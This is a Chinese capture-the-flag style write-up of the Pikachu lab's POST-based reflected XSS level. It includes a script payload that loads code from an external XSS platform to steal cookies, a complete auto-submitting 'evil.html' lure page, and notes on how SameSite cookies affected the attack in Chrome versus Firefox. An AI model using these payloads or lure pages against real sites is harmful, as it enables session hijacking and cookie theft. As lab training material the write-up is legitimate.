Pikachu靶场通关笔记(6) — 反射型XSS(POST) (攻击手法差异化分析)

49次阅读
没有评论

1. 渗透测试过程 (Burp 抓包与差异对比)

这一关进入后需要先登录(靶场默认账号密码一般为 admin/123456,也可以像之前一样爆破)。登录成功后,出现了一个和上一关几乎一样的输入框。

第一步:常规测试与 Payload 验证

虽然 HTTP 方法变了(get -> post),但漏洞的本质没变——输入与输出未过滤

  1. 测试回显: 输入 kobe,页面正常显示图片。
  2. 植入代码: 既然逻辑一样,我直接使用了上一关 XSS 平台生成的 Payload。
  3. 提交: 点击 Submit,页面刷新,XSS 平台成功收到了 Cookie 和主机信息。
<sCRiPt sRC=//xs.pe/EHr></sCrIpT>
Pikachu 靶场通关笔记(6) — 反射型 XSS(POST) (攻击手法差异化分析)
Pikachu 靶场通关笔记(6) — 反射型 XSS(POST) (攻击手法差异化分析)

第二步:抓包分析 (关键点)

虽然看起来和 GET 型一样简单,但打开网络请求包看了一眼,发现请求包发生了本质变化:

  • 请求方法: POST
  • 参数位置: Payload 并没有出现在 URL 地址栏中,而是位于 HTTP Body 体中:
    localhost:8899/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1 ... message=<sCRiPt sRC=//xs.pe/EHr></sCrIpT>&submit=submit

第三步:深度思考——POST 型 XSS 如何利用?

这是做这道题最重要的思考点。

  • GET 型: 只需要把带有 Payload 的 URL(如 http://xxx/vul?msg=<script>...)发给受害者,他点击链接就会中招。
  • POST 型: 参数在 Body 里,没法通过一个链接直接把 Payload 带过去。如果把当前页面的 URL 发给受害者,他打开的只是一个空的输入框,什么都不会发生。

攻击思路(类似 CSRF,Chrome 测试没成功,firefox 成功了,可能是 Chrome 的安全机制(SameSite 策略)给拦截 了):
为了利用 POST 型 XSS,攻击者必须自己搭建一个 恶意 Web 页面 (比如 evil.html),我在自己的服务器上构建了一个页面 https://www.hzx123.xyz/evil.html(如果你看到了,可以查看源码修改对应的 url 路径以及 xss payload,在本地测试也可以成功),在页面中写一个 自动提交的表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Poc</title>
</head>
<head>
    <script>
        window.onload = function() {var form = document.getElementById("postForm");
            // 使用原型链调用 submit,避开命名冲突
            HTMLFormElement.prototype.submit.call(form);
        }
    </script>
</head>
<body>
    <!-- 这里的 action 记得检查是否正确,确保能访问到 -->
    <form action="http://localhost:8899/vul/xss/xsspost/xss_reflected_post.php" method="post" id="postForm">
        <input type="hidden" name="message" value="<sCRiPt sRC=//xs.pe/EHr></sCrIpT>" />
        <!-- 这个 name="submit" 是导致报错的元凶,但因为后端需要,只能保留,改用 JS 绕过 -->
        <input type="hidden" name="submit" value="submit" />
    </form>
</body>
</html>

实战场景: 攻击者把这个 evil.html 的链接发给受害者 -> 受害者点击 -> 浏览器加载 evil.html -> 自动向 靶场发送 POST 请求 -> 触发 XSS -> 获取 Cookie。

遇到的问题:
在使用  Chrome  浏览器测试时,先登录靶场,然后打开  evil.html。页面虽然发生了跳转,但被重定向到了登录页,XSS 平台未收到数据。

原因分析:
通过抓包分析发现,可能是由于 Chrome 浏览器的 SameSite Cookie 策略。Chrome 默认拦截了 PHPSESSID Cookie 的发送。后端检测不到 Cookie,误判为未登录,因此攻击失败。

解决方案:
切换使用 Firefox (火狐浏览器) 进行测试。

  1. 打开 Firefox,登录 Pikachu 靶场(需要先登录!获取 Session)。
  2. 在 Firefox 中访问 https://www.hzx123.xyz/evil.html
  3. 页面自动跳转,虽然肉眼看起来只是刷新了一下,但在后台,恶意脚本已成功执行。

查看 XSS 平台项目记录,成功接收到了来自 Firefox 的 Cookie 信息!

Pikachu 靶场通关笔记(6) — 反射型 XSS(POST) (攻击手法差异化分析)

2. 源码分析

查看后端 PHP 源码,逻辑与 GET 型几乎一模一样,唯一的区别仅仅是接收参数的方式:

// 之前是 $_GET
if(isset($_POST['submit'])){if(empty($_POST['message'])){$html.="<p class='notice'> 输入 'kobe' 试试 -_-</p>";}else{
        // 下面直接将前端输入的参数原封不动的输出了, 出现 xss
        if($_POST['message']=='kobe'){$html.="<p class='notice'> 愿你和 {$_POST['message']} 一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
        }
    }
}

3. 总结

虽然在靶场里自己测试时,GET 和 POST 的操作感觉没区别(都是自己输入自己弹),但在 红队实战 中,POST 型 XSS 的利用成本要比 GET 型高,因为它需要额构造一个诱导页面来触发请求,无法像 GET 型那样做成短链接直接投放。

正文完
 0
评论(没有评论)